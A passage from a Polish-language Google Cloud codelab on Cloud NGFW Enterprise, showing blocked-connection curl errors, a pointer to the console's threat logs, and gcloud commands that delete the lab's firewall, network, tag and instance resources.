curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Przejdź do karty Zagrożenia w konsoli Cloud, aby sprawdzić dzienniki (może być konieczne odświeżenie kilkukrotnie). Ataki powinny zostać ponownie zidentyfikowane i zapisywane, ale teraz adres IP źródłowy jest wewnętrzny, ponieważ najpierw została uruchomiona reguła wyjścia:

36f8edf264dcddcd.png

Zamknij sesję SSH i przejdź do następnej sekcji, aby wykonać czynności porządkowe.

8. Czyszczenie

Oczyszczanie komponentów Cloud NGFW Enterprise

Wyświetl listę istniejących powiązań Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations list

Usuń powiązanie Cloud NGFW Enterprise:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Lista istniejących punktów końcowych Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń punkt końcowy Cloud NGFW Enterprise. Może to potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Aby sprawdzić, czy usługa Cloud NGFW Enterprise została usunięta, uruchom to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Usuń grupę profili zabezpieczeń i profil zapobiegania zagrożeniom:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Czyszczenie podstawowej konfiguracji

Jeśli chcesz usunąć zasoby podstawowe, przejdź do następnego kroku.

W razie potrzeby zdefiniuj zmienne środowiskowe. W Cloud Shell usuń komponenty systemu równoważenia obciążenia sieciowego:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Usuwanie instancji:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Jeśli role tagAdmin i tagUsers zostały zmienione, wykonaj te czynności:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową zapory Cloud Firewall i powiązanie:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuwanie Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuwanie zarezerwowanych adresów IP:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Gratulacje!

Gratulacje! Ukończyłeś/ukończyłaś przeglądanie przykładów kodu w usłudze Cloud NGFW Enterprise w ramach inspekcji wschodnio-zachodniej i północno-południowej.